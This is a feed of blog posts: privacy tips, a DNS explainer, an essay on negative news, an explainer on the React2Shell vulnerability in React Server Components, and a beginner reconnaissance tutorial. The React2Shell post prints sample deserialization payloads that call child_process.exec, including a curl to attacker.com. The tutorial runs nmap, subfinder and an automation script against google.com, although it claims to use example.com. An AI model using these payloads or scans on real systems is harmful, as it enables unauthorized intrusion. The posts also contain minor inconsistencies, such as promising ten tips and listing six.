6 Ways to Protect Your Personal Information Online in 2026 (Master Guide)

Scofield Idehen — Sun, 20 Sep 2026 14:34:30 +0000

For a decade, war didn’t disappear; it evolved. From Ukraine’s blackouts triggered by code to Gaza’s battles shaped by surveillance and data, conflict now moves in silence, where a single breach can hit harder than any missile.…

In the last ten years, the world has quietly shifted from one where wars are fought with missiles and hypersonic bombs to zeros and one where your enemy's strength is measured by how much information they have about you.

People are becoming more scared of their information being fed to big data machines than dying of cancer (Just kidding), but there has been a rise in cyber attacks, according to Forbes.

There were 2,365 cyberattacks in 2023, with 343,338,964 victims. 2023 saw a 72% increase in data breaches since 2021 and bound to double in 2024.

Malicious actors have become more sophisticated, and so should you; securing your data is now more important than ever as our lives are increasingly intertwined with the online world.

From social media to online banking, we leave digital footprints everywhere we go. But with this convenience comes risk.

According to Proofpoint, 1 in every 3 Americans has been hit by identity theft, like Kemi, a 32-year-old Product Manager whose identity was stolen.

Her sim was cloned, and her two-factor authentication was bypassed. They wiped out her savings and maxed out her credit cards in minutes.

Kemi’s nightmare is far from unique. The U.S. Federal Trade Commission ( FTC) logged more than 1 million identity theft reports in 2023 . These reports included more than 2.6 million related fraud cases, with total losses of more than $10.3 billion.

It gets even scarier as personal information stolen is sold to malicious actors who can use this information to blackmail their victims.

While the tales are glummy, you can protect yourself. Here are ten critical ways to safeguard your personal information online:

1. Fortify Your Passwords

Remember when your dog's name and birth year seemed like a clever password? Those days are long gone. Create strong, unique passwords for each account. Use a mix of uppercase and lowercase letters, numbers, and symbols. Better yet, use a password manager to generate and store complex passwords securely.

There are so many password generator platforms online, and they are mostly free.

Do not use simple and easy-to-guess passwords, as there are tools such as password crackers that can crack these passwords. I wrote an article on Build Your First Password Cracker.

You can even create your own password generator if you do not trust the online platforms. Find the steps outlined on GitHub.

2. Embrace Two-Factor Authentication (2FA)

Think of 2FA as a bouncer for your digital life. Even if someone cracks your password, they'll need a second form of identification to get in. Enable 2FA wherever possible, especially for email and financial accounts.

Use Authenticators for your 2FA, if possible, for more security if your password gets compromised.

Ensure your emails have recovery emails if you find out your emails are compromised. You can set up a recovery mail from here if you are using Google Mail.

Use obfuscated emails to avoid spam on your emails or compromised mail being sold on the dark web; Duckduckgo email protection conceals your email.

3. Be a Social Media Ninja

Oversharing on social media is like leaving your front door wide open. Adjust your privacy settings to control who sees your posts. Be cautious about what you share – that innocent vacation photo could tell burglars you're away from home.

Do not log in to your personal information on other people's devices; if you must, use incognito mode and make sure to log out and change all your passwords from your device when you log in.

Make sure not to share events in real time, such as vacations, eat-outs, and social events that might easily show where you are.

Clear your browsing history, cookies, and cache. Use private browsing modes when possible. It's like cleaning your house – a regular digital declutter keeps things tidy and secure.

Take a weekend and clean your online digital footprint.

Follow this guide to learn how to delete your social media footprint from the internet.

4. Treat Public Wi-Fi Like a Public Bathroom

It's convenient but potentially dirty. Avoid accessing sensitive information on public Wi-Fi networks. If you must, use a VPN to encrypt your data.

For more clarity, Public Wi-Fi is a bustling city park where everyone can hear your conversations.

This openness means your data travels over a shared network that others can potentially intercept. Without proper encryption, cybercriminals can eavesdrop on your online activities, steal personal information

To keep your online life private, treat public Wi-Fi like you would a crowded space - be cautious, keep your valuables close, and consider wearing a digital disguise (VPN) for extra protection.

There are lots of VPNs (Virtual Private Networks) you can use to obfuscate your identity on the internet.

This article explored some of the best, both paid and free.

5. Update, Update, Update

Software updates are like vaccines for your devices. They patch vulnerabilities and protect against the latest threats. Don't ignore those update notifications – they could save you from a digital disease.

Before you scream Crowdstrike, I wrote an article about the patch that broke the internet. Who is getting fired?

Keep updating your devices whenever and however, as the updates protect your devices and keep them secure.

6. Use Security Software

Think of security software as your digital immune system. Use reputable antivirus and anti-malware programs, and keep them updated. They're your first line of defense against many online threats.

Stay away from free antivirus as most of them come with back doors or there are payloads for attacks as well.

Visit reputable sites to get the best product.

Protecting your personal information online isn't just about following a checklist. It's about developing a security-conscious mindset. Every click, every share, every download is an opportunity to safeguard your digital self.

Conclusion

The internet is a vast, wonderful place full of opportunities. But like any frontier, it has its dangers. By following these tips and staying vigilant, you can explore the digital world with confidence. Your online safety is in your hands – take control of it today.

What Happens When DNS Breaks: Inside the Internet's Most Critical Vulnerability

Scofield Idehen — Sun, 20 Sep 2026 13:47:26 +0000

The Domain Name System is one of the most invisible technologies that powers almost every online interaction._

If you are hearing about DNS for the first time, then welcome to one of the Internet’s Most Important Systems.

The Domain Name System is one of the most invisible technologies that powers almost every online interaction.

When you open a website, send an email, or use an app, DNS quietly translates the human-friendly name you typed into the numerical address computers need to communicate. It is the phonebook, directory, map, and memory of the global Internet all at once.

Understanding DNS is not only about knowing how names resolve. It is about understanding how the Internet organises identity, routes trust, manages security, and maintains stability across billions of devices.

Once you unpack it, DNS becomes one of the most fascinating systems ever created. So what is this about?

How Everything Started

The story of DNS begins long before the modern web. In the early 1980s, the young Internet used a single text file called HOSTS.TXT to store every hostname and its numerical address.

Every computer downloaded this file from a central server at Stanford. At first, this worked because the Internet had only a few hundred machines.

As the network grew, the file became impossible to maintain. Updates were slow, conflicts were common, and the central server struggled under load. The system was breaking.

Paul Mockapetris proposed a new idea in 1983: a distributed naming system built on hierarchy instead of a single file. His design became the modern DNS, formalised in RFC 1034 and RFC 1035.

RFC 1034 and RFC 1035 are documents that define the concepts and implementation specifications of the Domain Name System (DNS). They were published in November 1987 and serve as foundational standards for how domain names are structured and resolved on the Internet.

The idea was simple but revolutionary. Instead of one file, the world would share a tree of names, and each part of the tree could be managed independently. This shift from centralisation to delegation is what allowed the Internet to scale to billions.

The DNS Hierarchy Explained

Root (.)

|

-----------------

| | |

.com .org .ng ← TLDs

|

google.com ← Second-Level Domain

|

mail.google.com ← Subdomain

DNS is structured like a tree. At the top is the root. Beneath it sit top-level domains such as .com, .uk, .org, and .net. Below each TLD are second-level domains like google.com or netflix.com. And under those sit subdomains like mail.google.com.

A Top-Level Domain (TLD) is the last part of a domain name — the part that comes after the final dot .
Each level delegates authority.

The root points to TLD servers. TLD servers point to each domain’s authoritative servers. Authoritative servers return the final answer. This chain ensures that no single server holds the entire Internet’s naming data. It also means that DNS naturally distributes responsibility, improving both resilience and scalability.

How a Query Travels

When you type a domain into your browser, your device sends that request to a resolver. The resolver might be controlled by your ISP, your company, or a public service like Cloudflare or Google.

The resolver checks its cache first. If the answer is fresh, it returns it immediately.

If not, the resolver begins the recursive process. It asks the root where to find the TLD servers. Next, it asks the TLD servers where to find the domain’s authoritative nameservers.

Finally, it requests the necessary information from the authoritative servers. Once the resolver gets the answer, it returns it to your device and stores it temporarily so future queries are faster.

Though this sounds like several steps, the entire process normally takes milliseconds.

Why DNS Matters So Much

DNS is important because it sits between humans and machines. It translates meaning into coordinates. Without DNS, the Internet would feel unusable. You would have to remember numbers rather than names. Every website would feel like a phone number. DNS hides that complexity.

But DNS also carries deeper significance. It is used for email routing. It is the foundation of content delivery networks. It supports authentication, service discovery, and modern security protocols. DNS, in many ways, is the Internet’s memory.

A failure in DNS can take down banks, airlines, payment platforms, and entire countries’ digital infrastructure. This has happened multiple times in the past decade. When DNS fails, the Internet feels “offline,” even if all servers are running.

Pros of DNS

DNS gives the Internet its flexibility. It allows names to remain stable even when the underlying infrastructure changes. If a company moves a service to a new server, the only thing that changes is the DNS record. Users continue to type the same name.

DNS also brings enormous performance benefits through caching. A well-tuned resolver can prevent millions of unnecessary queries by storing answers temporarily. Caches reduce latency, reduce cost for operators, and make browsing faster.

Another advantage is delegation. DNS allows any domain owner to manage their own section of the namespace. This reduces bottlenecks and supports decentralisation.

It also helps the Internet remain resilient because authority is distributed across thousands of organizations.

Finally, DNS is extremely mature. After more than four decades, the protocol has been refined, extended, tested, and continuously improved.

Cons of DNS

The same design that makes DNS powerful introduces weaknesses. Because DNS is hierarchical, outages at the wrong point in the chain can break resolution. For example, if a domain’s authoritative servers go offline, that domain becomes unreachable.

Caching, while helpful, also introduces delays when updates are needed. A record with a long TTL might take hours to propagate, creating inconsistency across users.

The original DNS protocol was also created without encryption or authentication. This makes traditional DNS requests visible to anyone monitoring the network. It also made early resolvers vulnerable to forged responses.

Finally, DNS relies on cooperation between many independent operators. Misconfigurations are common and sometimes catastrophic. A single mistake in a zone file can take entire services down.

The Security Risks of DNS

Because DNS sits at such a critical layer of the Internet, attackers constantly target it. The most common threats include cache poisoning, spoofing, DDoS, hijacking, and tunnel-based exfiltration.

One of the most famous attacks was the 2008 Kaminsky vulnerability. It allowed attackers to inject fake records into resolver caches using predictable transaction IDs. Users could be silently redirected to malicious websites without knowing. This forced vendors worldwide to patch DNS implementations rapidly.

DNS is also a major target for denial-of-service attacks. Because DNS servers often reply with responses larger than the queries they receive, attackers can use open resolvers to amplify traffic. This ability has been weaponised in some of the largest DDoS attacks ever recorded.

Another risk is hijacking. If attackers gain control of a domain’s DNS records, they can redirect email, impersonate websites, intercept traffic, or distribute malware. Hijacking usually happens through compromised registrars or stolen credentials.

Organisations also worry about DNS tunnelling. Attackers can encode data inside DNS queries and send it out of a network without being detected by standard firewalls.

Attempts to Strengthen DNS

Several technologies have been created to address DNS’s weaknesses. One of the earliest was DNSSEC, a set of cryptographic extensions that allow resolvers to verify that data has not been tampered with. DNSSEC adds signatures to DNS records, making forged responses detectable.

DNSSEC, or Domain Name System Security Extensions, is a set of protocols designed to protect the integrity of data exchanged in the Domain Name System (DNS) by using cryptographic signatures.

Although DNSSEC dramatically improves integrity, adoption has been slow. It requires changes from registries, registrars, resolvers, and domain owners. Many operators worry about complexity and the risk of misconfiguring keys.

In recent years, privacy has become a central concern. Traditional DNS requests are sent unencrypted, revealing which domains users access. To fix this, new protocols such as DNS-over-TLS https://www.cloudflare.com/learning/dns/dns-over-tls/(DoT) and DNS-over-HTTPS https://www.cloudflare.com/learning/dns/dns-over-tls/(DoH) were developed. Both encrypt DNS queries, making it harder for intermediaries to observe browsing habits. Browsers like Firefox and Chrome now support DoH natively.

Operators also deploy rate-limiting, response filtering, aggressive caching , and anycast routing to improve resilience.

Anycast, in particular, has transformed DNS performance. It allows the same IP address to exist in multiple locations around the world. When you send a DNS query, it automatically travels to the nearest server, improving latency and redundancy.

How DNS Continues to Evolve

The Internet has changed far faster than DNS’s original designers imagined. Yet the protocol has adapted remarkably well. Modern DNS handles billions of queries per second. It supports IPv6, dynamic updates, load balancing, geolocation-based routing, and complex service discovery through SRV and TXT records.

Cloud providers now operate massive global DNS infrastructures. Content delivery networks use DNS to route users to optimal locations. Even blockchain alternatives have attempted to replicate DNS’s naming model, though none match the global adoption or reliability of the existing system.

What is clear is that DNS is not going away. Instead, it is undergoing slow but steady modernization. With encrypted transports becoming the norm and DNSSEC slowly spreading, the system is becoming more private and more trustworthy.

Why Everyone Should Understand DNS

DNS is not just for network engineers. Anyone building modern systems, from web developers to security analysts, benefits from understanding DNS deeply. It reveals how services are found, how trust flows, and how attackers attempt to disrupt or manipulate online activity.

For beginners, the most valuable lessons include understanding the resolver flow, knowing the role of authoritative servers, and recognising why caching exists. For more advanced readers, the deeper topics include DNSSEC validation, query minimization, encrypted DNS, and monitoring for anomalies.

Most importantly, DNS teaches one of the Internet’s most important truths. A system can be simple at its core yet complex in its operation. A small protocol can hold the world together.

The Future of DNS

Looking ahead, DNS will continue to be shaped by three forces. The first is privacy. As more users demand encrypted default options, DoH and DoT will expand. How networks handle this shift will influence enterprise policies worldwide.

The second force is security. DNSSEC remains a critical tool, and future revisions will likely focus on automation and usability. Attackers are becoming more sophisticated, and defenders must ensure integrity at the naming layer.

The third force is scale. Billions of new devices continue to join the Internet. DNS must remain fast, resilient, and globally synchronised while absorbing unprecedented growth.

What makes DNS remarkable is its stability. Despite massive change, the system still works using principles defined forty years ago. Few technologies can claim such durability.

Conclusion

DNS is not just the Internet’s address book. It is the foundation of digital identity and navigation. It provides structure, speed, and meaning to billions of daily interactions. It turns numbers into names, chaos into order, and architecture into a living organism that adapts and heals itself.

Understanding DNS is understanding the Internet itself. Once you see how it works under the hood, every website visit becomes a story of delegation, trust, caching, and resilience. This invisible system carries the weight of the world’s information, quietly and reliably, every millisecond.

Resource

Why Do People Love Bad News?

Scofield Idehen — Tue, 14 Apr 2026 13:34:28 +0000

People tend to resonate deeply with sad stories on social media. I find it both intriguing and unsettling.

Why does pain travel so far, while joy seems to fade almost immediately?

Posts about losing a job, a failed business, or personal hardship often generate overwhelming engagement, comments, shares, and long threads of empathy.

Yet, when someone shares a success story, the response is usually brief and performative: “Congrats,” “Well done,” and then silence.

It raises an uncomfortable question: Do people genuinely struggle to celebrate others, or is something deeper at play?

The data suggests it is not simply envy or ill will.

Research consistently shows that people are significantly more likely to engage with and share negative content than positive content. In fact, large-scale studies have found that negative news can be nearly twice as likely to be shared.

But statistics only explain the what, not the why.

Pain is easier to relate to.

More people have experienced loss than extraordinary success. When we encounter someone’s hardship, we see a version of ourselves in it. It feels immediate, human, and real.

Success, on the other hand, can feel distant. Sometimes, even confronting. Instead of connection, it can quietly trigger comparison, where admiration and discomfort coexist.

There is also the matter of emotional intensity.

Pain demands a response. It provokes empathy, outrage, or reflection.
Joy, however, is often consumed passively. It is acknowledged, but rarely engaged with at the same depth.

And then there is the system itself.

Social media platforms are not neutral; they are designed to amplify what generates the strongest reactions. And more often than not, that is fear, loss, or struggle.

So perhaps the real issue is not that people do not want others to succeed.
It is that pain invites participation, while success is often reduced to observation.

In the end, what we see online is not a true reflection of reality but of what holds attention.

React2Shell: Understanding the Critical RCE Vulnerability in React Server Components (CVE-2025-55182)

Scofield Idehen — Wed, 10 Dec 2025 12:28:32 +0000

When a vulnerability shakes the entire web ecosystem, it is rarely because of something sophisticated. History shows that the most catastrophic exploits usually come from simple assumptions that developers never questioned.

That was the case with React2Shell — a maximum-severity remote code execution flaw that exposed millions of applications built with React Server Components (RSC) and Next.js.

The issue wasn’t buried deep in obscure code. It sat in plain sight inside one of the most popular development stacks on the planet. And when researchers finally mapped out the impact, the picture was grim: attackers could send a single malicious HTTP request and force a server to run arbitrary JavaScript code. No authentication.

No special privileges. A perfect, clean RCE.

This article breaks down how React2Shell worked, why it happened, how attackers exploited it, and what developers must learn to avoid repeating the same architectural mistake.

You’ll also see simplified payload examples to help you understand the mechanics of insecure deserialization, the heart of this vulnerability.

The Core of the Problem: Blind Deserialization

React Server Components introduced a new way to render UI: part of the application runs on the server, and the client receives “serialized” instructions about what to render.

To make this possible, React uses an internal protocol called Flight. The server serializes component trees, the client deserializes them, and vice-versa.

The vulnerability came from one wrong assumption:

The server trusted whatever data it received through the Flight protocol.

This trust created a deadly chain:

The client sends serialized component data.
The server deserializes it automatically.
The server never checks whether the incoming data is valid.
A malicious actor can send a crafted payload.
The server interprets the payload as executable JavaScript.

In other words, the server treated network data as a blueprint for code execution, similar to plugging a random USB stick into your production server and trusting whatever is inside it.

Why Developers Missed It

The vulnerability wasn’t created by carelessness. It emerged from a familiar mental trap:
Developers trusted their own client.

React Server Components were designed under the assumption that the browser and server would always communicate in a controlled, predictable way. But attackers never use your application the way you expect. They don’t follow your frontend flow. They craft their own requests and hit your endpoints directly.

Anytime server logic relies on “expected clients,” the trust boundary collapses. The moment a system assumes that a request comes from a friendly source simply because it should, the system becomes exploitable.

Scale of the Exposure

The severity wasn’t just theoretical. In cloud environments monitored by security researchers, nearly 4 out of every 10 deployments were running vulnerable versions of React or Next.js.

Because the vulnerable deserializer lived in react-server, the problem wasn’t limited to core React and Next.js. Any tool or framework built on RSC — from Vite and Parcel plugins to experimental routing systems — inherited the same weakness. The issue was systemic.

Within hours of the public disclosure, threat groups including Earth Lamia and Jackpot Panda began probing the internet for vulnerable servers. According to AWS, they were not merely scanning but actively debugging real exploitation attempts.

How React2Shell Exploitation Worked

At its core, the exploit abused the fact that the deserializer rebuilt JavaScript structures directly from user input. Here’s a simplified mental model of the vulnerable process:

// Pseudocode representation of server behavior
const deserialize = (incoming) => {
    return eval(incoming);     // simplified explanation — actual logic more complex
};

Of course, the real implementation didn’t literally use eval, but the effect was the same. The deserializer accepted complex JavaScript structures, objects, and references — and rebuilt them automatically without validating their origin.

An attacker could send a malicious payload that defined unexpected server-side instructions, tricking the deserializer into executing arbitrary code.

Simplified Payload Demonstration (Educational Only)

Here’s a harmless demonstration showing how insecure deserialization works conceptually. This is NOT the real exploit, but it helps illustrate the attack.

// Simulated vulnerable server endpoint
app.post("/rsc", (req, res) => {
    const data = req.body.serialized;

    // The mistake: rebuilding code from untrusted input
    const component = deserialize(data);

    component.render();
    res.send("OK");
});

An attacker could send a payload like:

{
  "serialized": "(()=>{ require('child_process').exec('touch /tmp/pwned'); return { render: ()=>{} } })()"
}

A vulnerable deserializer would rebuild and execute the function body. The attacker didn’t need to use vm.runInThisContext or child_process.exec directly — the vulnerability let them craft structures that triggered internal methods indirectly.

In real exploitation, malicious payloads were encoded using React’s Flight serialization rules, not raw JavaScript strings. But the concept remains the same: deserialization without validation leads to code execution.

A Realistic Exploit-Style Payload (Still Safe)

This payload shows what an RSC-structured malicious object might look like:

{
  "type": "Symbol(react.element)",
  "key": null,
  "ref": null,
  "props": {
    "$$typeof": {
      "toString": {
        "constructor": {
          "prototype": {
            "exec": "require('child_process').exec('curl http://attacker.com/ping')"
          }
        }
      }
    }
  }
}

This follows a pattern typical in insecure deserialization vulnerabilities:
attackers hide malicious function constructors inside nested serialised objects.
Again, this is a safe educational example, not an actual weaponised payload.

The Real Danger: Default Installations Were Vulnerable

Developers didn’t need to enable anything experimental. They didn’t need to misconfigure their server. If you were running React Server Components or Next.js with RSC support, you were vulnerable out of the box.

This made the vulnerability perfect for mass exploitation. Attackers only needed to fingerprint servers running RSC endpoints, send a crafted payload, and let the server execute it.

How Attackers Used It In The Wild

AWS reported that state-affiliated groups began exploiting RSC endpoints within hours:

scanning for exposed endpoints,
analyzing server responses,
adjusting payloads,
and repeatedly attacking until execution succeeded.

The sophistication wasn’t in the exploit — the exploit itself was simple. The sophistication was in how quickly attackers weaponized it.

Because the exploit didn’t require authentication, attackers could:

deploy malware,
obtain reverse shells,
pivot into internal networks,
read environment variables,
and compromise cloud infrastructure.

Everything depended on one weak point: the deserializer.

Lessons Developers Must Learn

React2Shell isn’t just a React bug. It is a reminder of a universal architectural lesson:
never trust serialized input, even if it comes from your own frontend.

Any feature that:

rebuilds data structures,
reconstructs objects,
accepts function references,
or automatically rehydrates class instances

is a potential RCE vector.

The boundaries of trust must be explicit. The server must validate every field, every structure, and every assumption.

The Flight protocol was designed for performance, not security. But the moment it left the controlled environment of Meta’s internal infrastructure and entered the public internet, it needed defensive design.

How Developers Should Think About Deserialization Security

When dealing with serialized data:

Treat all input as hostile, no matter where it originates.
Validate structure strictly with allow-lists.
Disable complex object reconstruction whenever possible.
Avoid passing function references through serialization channels.
Keep server logic isolated from user-controllable decisions.

Every deserialization system should assume the attacker is already crafting payloads specifically for it.

Detecting Possible Compromise

Because attackers gained code execution, signs of compromise can vary widely. Indicators include:

unexpected processes running on the server,
unfamiliar outbound network traffic,
modified project files,
or unusual POST requests hitting RSC endpoints.

Organizations should check logs immediately for unexpected interactions with Flight protocol routes or React server functions.

Fixing the Vulnerability

Both React and Next.js released patches:

React: 19.0.1, 19.1.2, 19.2.1
Next.js: versions 15.0.5 and above

There are no effective workarounds. Disabling RSC might help temporarily, but the only reliable solution is patching.

Organisations unable to upgrade should limit access to RSC endpoints at the network layer or isolate affected servers.

The Bigger Picture

React2Shell is one of the clearest examples of how a modern development trend — full-stack frameworks, server components, shared serialization channels — can create complexity faster than developers can secure it.

As frameworks blur the line between client and server, the attack surface expands. The architecture becomes more magical, less predictable, more automated — and therefore easier to break.

Security is not about stopping clever attacks. It is about avoiding catastrophic assumptions.
React2Shell teaches one lesson above all:
If your server automatically rebuilds anything from user input, you are one malformed packet away from compromise.

React2Shell Vulnerability Frequently Asked Questions:

Q: What is React2Shell?

A: React2Shell is a maximum severity (10/10 CVSS) vulnerability in React Server Components (RSC) that allows remote code execution without authentication through insecure deserialization in the Flight protocol.

Q: How serious is this vulnerability?
A: Extremely serious. It received the highest possible severity score of 10/10, allowing attackers to execute arbitrary code on affected servers without any authentication.

Q: Is this only a React vulnerability or does it affect Next.js too?
A: Both. The vulnerability exists in React’s RSC implementation (CVE-2025–55182) and is inherited by Next.js through its use of RSC (CVE-2025–66478).

Q: Which versions are vulnerable?
A:

React: 19.0, 19.1.0, 19.1.1, 19.2.0
Next.js: Experimental canary releases from 14.3.0-canary.77, all 15.x and 16.x releases below patched versions

Q: I don’t use React Server Functions. Am I still vulnerable?

A: Yes. The advisory explicitly states that even applications without explicit React Server Function endpoints are vulnerable if they support React Server Components.

Q: What about other frameworks using React Server Components?

A: Likely affected. The vulnerability probably exists in:

Vite RSC plugin
Parcel RSC plugin
React Router RSC preview
RedwoodSDK
Waku
Other libraries implementing React Server

Q: Does this affect client-side React only?

A: No. This specifically affects server-side React Server Components. Traditional client-side React applications without RSC are not affected.

Q: How can attackers exploit this?

A: By sending specially crafted HTTP requests to React Server Function endpoints. The insecure deserialization allows them to bypass validation and execute privileged JavaScript code on the server.

Q: Are there public exploits available?

A: Security researcher Lachlan Davidson (who discovered the flaw) warns about fake proof-of-concept (PoC) exploits circulating online. Genuine exploitation doesn’t require invoking functions like vm#runInThisContext or child_process#exec.

Q: How can I detect if I’ve been compromised?

A: Look for:

Unexpected server processes
Unusual network traffic to/from your React/Next.js servers
Unauthorized file system changes
Suspicious HTTP requests to RSC endpoints

Q: Can this be exploited through XSS or CSRF?

A: No, this is a server-side vulnerability that requires direct HTTP requests to vulnerable endpoints, not client-side attacks.

Q: What fixed versions should I upgrade to?

React: 19.0.1, 19.1.2, or 19.2.1
Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, or 16.0.7

Q: Can I apply a workaround instead of upgrading?

A: No effective workaround has been provided. The React and Next.js teams strongly recommend immediate upgrading to patched versions.

Q: What if I can’t upgrade immediately?

A: Consider:

Temporarily disabling React Server Components if possible
Implementing strict network controls to limit access to vulnerable endpoints
Using a Web Application Firewall (WAF) with specific rules for RSC payloads
Isolating affected servers from critical infrastructure

Q: Does upgrading to React 19.2.1/Next.js 16.0.7 require code changes?

A: Typically, security patches maintain backward compatibility. Check the release notes for any breaking changes, though security patches usually avoid these.

Q: How widespread is this vulnerability?

A: According to Wiz researchers, 39% of all cloud environments they monitor contain vulnerable instances of React or Next.js.

Q: Can this lead to data breaches?

A: Yes. Successful exploitation enables attackers to execute code on your servers, potentially granting access to databases, file systems, credentials, and other sensitive data.

Q: Are cloud deployments particularly vulnerable?

A: Yes, because:

React/Next.js are commonly used in cloud front-end applications
They’re often exposed to the internet
Many organizations may not be aware they’re running vulnerable versions

Q: What exactly is the “Flight” protocol?

A: The Flight protocol is React’s serialization protocol for React Server Components that allows sending component trees between server and client.

Q: What does “insecure deserialization” mean in this context?

A: The server fails to properly validate the structure of incoming RSC payloads, allowing maliciously crafted data to trigger unauthorized code execution.

Q: Why are fake PoCs showing vm.runInThisContext and child_process.exec?

A: These are misleading. As the researcher notes, genuine exploitation doesn’t need these functions, and they wouldn’t work in Next.js anyway since server functions are managed automatically.

Q: How can I prevent similar vulnerabilities in the future?

Implement strict input validation for all serialization/deserialization
Use allow-lists for acceptable data structures
Regularly update dependencies
Implement security scanning in CI/CD pipelines
Follow the principle of least privilege for server processes

Q: Should I disable React Server Components entirely?

A: Not necessarily. The patched versions fix the vulnerability. However, evaluate if you actually need RSC functionality for your use case.

Q: How do I audit my environment for vulnerable versions?

A: Use:

Dependency scanning tools (npm audit, yarn audit)
SCA (Software Composition Analysis) tools
Manual checks of package.json files
Container image scanning for deployed applications

Q: When was this vulnerability discovered?

A: Reported to React on November 29 by security researcher Lachlan Davidson.

Q: Is there an official advisory?

A: Yes, from both React and Next.js teams. Check their GitHub security advisories and official communication channels.

Q: Where can I find legitimate technical details?

A: Lachlan Davidson created a React2Shell website for publishing technical details. Be cautious of unofficial sources sharing potentially fake exploit details.
Remember: This is an active, critical vulnerability. Prioritise patching and monitoring for exploitation attempts immediately.

Simple Hacking Technique for Beginners (2025 Edition)

Scofield Idehen — Mon, 08 Dec 2025 16:56:18 +0000

Every year, cybersecurity becomes more complex, but the path for beginners remains the same: start simple, understand fundamentals, and practice safely.

Many new hackers jump into advanced exploits, like zero‑days, malware development, or social engineering, without building the foundation. The truth is this:

If you understand the basics extremely well, everything else becomes 10× easier.

This article introduces one simple beginner hacking technique that still works in 2025, explains how it works, and gives step‑by‑step examples with modern tools. The goal: help you understand your first real ethical hacking workflow.

                            [Best Computer To Code With in 2025](https://blog.learnhubafrica.org/2025/05/09/best-computer-to-code-in-2025/)

Reconnaissance

Reconnaissance is the systematic process of gathering data about a target to determine the best vector for penetration. It allows an ethical hacker to map digital terrain before taking any direct action.

Reconnaissance can be divided into two broad categories: passive reconnaissance and active reconnaissance.

Passive Reconnaissance
This involves gathering information without sending traffic to the target system. It is indirect, quiet, and highly effective. Common sources include certificate transparency logs, WHOIS databases, archived web content, and public DNS records. Because the target system is never touched, passive recon is nearly impossible to detect.

Active Reconnaissance
Active reconnaissance involves interacting directly with the target, scanning ports, probing services, enumerating technologies, and discovering internal structures. It is more invasive and can be detected by security tools.

However, it provides deeper, more actionable results.

A beginner must understand both forms. Passive recon teaches the structure of the internet; active recon reveals the behaviour of the systems operating on it.

Only use active recon when you are sure of the target or when you are authorised.

Modern Recon Tools for 2025

The current ecosystem of reconnaissance tools is more mature than ever, especially in Linux environments. The following tools represent the industry’s preferred options for ethical hacking in 2025:

Passive Recon Tools

ProjectDiscovery produces a suite of open source tools tailored for offensive security: security engineers, bug bounty hunters, and red teamers.

Our toolkit is structured around three distinct layers to optimise your security assessment and penetration testing processes. We also provide utilities and libraries as building blocks for an offensive security or bug bounty hunting program.

A few of our most popular projects include:

- [nuclei](https://github.com/projectdiscovery/nuclei): A fast and customizable vulnerability scanner based on simple YAML based DSL.
- [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates): Community curated list of templates for the nuclei engine to find security vulnerabilities.
- [subfinder](https://github.com/projectdiscovery/subfinder): A fast passive subdomain enumeration tool leveraging dozens of APIs.
- [httpx](https://github.com/projectdiscovery/httpx): A fast and multi-purpose HTTP toolkit that allows running multiple probes using the retryablehttp library.
- [cvemap](https://github.com/projectdiscovery/cvemap): A CLI to Navigate the CVE jungle with ease.
- [katana](https://github.com/projectdiscovery/katana): A next-generation crawling and spidering framework.
- [naabu](https://github.com/projectdiscovery/naabu): A fast port scanner written in go with a focus on reliability and simplicity.

Active Recon Tools

These utilities form the foundation of modern offensive security workflows. Their ease of use and automation capabilities make them ideal for beginners.

            [The Telegram Username Scam: How People Are Losing Thousands in TON](https://blog.learnhubafrica.org/2025/07/09/the-telegram-username-scam-how-people-are-losing-thousands-in-ton/)

Building a Simple Recon Workflow

To illustrate how reconnaissance works, we will use a safe, publicly designated domain: example.com. The workflow below mirrors what real ethical hackers perform when beginning an assessment.

Step 1: WHOIS Lookup
WHOIS reveals administrative information about a domain. Although some details may be masked through privacy services, the output provides insights into infrastructure ownership and DNS configuration.

Run the following command in your terminal:

whois google.com

Typical data includes registrar information, creation date, update frequency, and authoritative name servers. While this may seem elementary, it exposes metadata that can help understand the domain’s underlying structure.

Step 2: DNS Enumeration
DNS records reveal how a domain is structured and where its services point. A DNS lookup is an indispensable early step.

dig google.com ANY

OR:

nslookup -type=any google.com

DNS records such as A, AAAA, MX, NS, and TXT often reveal external dependencies, cloud providers, email configurations, and potential misconfigurations.

Step 3: Subdomain Discovery

Subdomains frequently host development servers, staging environments, forgotten applications, and outdated infrastructure. They are among the most common sources of vulnerabilities in modern systems.

Use Subfinder for passive subdomain enumeration:

If you are not using Linux, you can get it by running this - go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

subfinder -d google.com -o subs.txt

A typical output might include:

blog .com
mail.example.com
staging.example.com
dev.example.com

Each subdomain represents a new potential attack surface.

Step 4: Identify Active Hosts

After discovering subdomains, the next task is determining which ones are reachable.

httpx -l subs.txt -o alive.txt

This tool sends lightweight requests and returns only active, responsive systems. These become the targets for deeper analysis.

Step 5: Port and Service Scanning
Port scanning marks the beginning of active reconnaissance. It identifies which network services are exposed and which versions they are running.

nmap -sV -O dev.example.com

The -sV flag detects service versions, while -O attempts OS fingerprinting. Service banners can reveal outdated software or insecure configurations, both highly valuable to an ethical hacker.

Step 6: Directory and File Enumeration
Directories and files hidden from public navigation may contain sensitive content such as backups, development notes, administrative panels, or unprotected APIs.

feroxbuster -u https://dev.example.com -w /usr/share/wordlists/dirb/common.txt

Examples of discovered paths include:

/admin  
/uploads  
/backup.zip

This phase simulates how attackers often uncover neglected or misconfigured endpoints.

Automating Reconnaissance with Python

Automation is a crucial skill for modern attackers and defenders. Even beginners should understand basic scripting to streamline repetitive tasks. Below is a simplified Python script that automates part of the recon process.

import subprocess

domain = "google.com"

print("[+] Running Subfinder...")
subprocess.run(["subfinder", "-d", domain, "-o", "subs.txt"])

print("[+] Probing active hosts...")
subprocess.run(["httpx", "-l", "subs.txt", "-o", "alive.txt"])

print("[+] Running Nmap scans on live hosts...")
with open("alive.txt") as f:
    for line in f:
        host = line.strip()
        subprocess.run(["nmap", "-sV", "-O", host])

This script integrates passive and active recon steps, providing a starting point for more advanced automation.

Why Reconnaissance Matters

Reconnaissance provides clarity in environments that are otherwise opaque. It reveals the visible and hidden landscape of a target. For beginners, it establishes critical habits: observation, pattern recognition, and the ability to understand systems before attempting to exploit them.

Reconnaissance also reflects the intellectual discipline behind ethical hacking. It demands precision, patience, and structured thinking. Without recon, hacking becomes guesswork. With recon, every decision is informed.

Safe Practice Environments

Beginners should never perform reconnaissance on systems they do not own or have authorisation to test. Several platforms exist specifically for safe, controlled learning:

These environments simulate real‑world systems and provide progressive learning challenges.

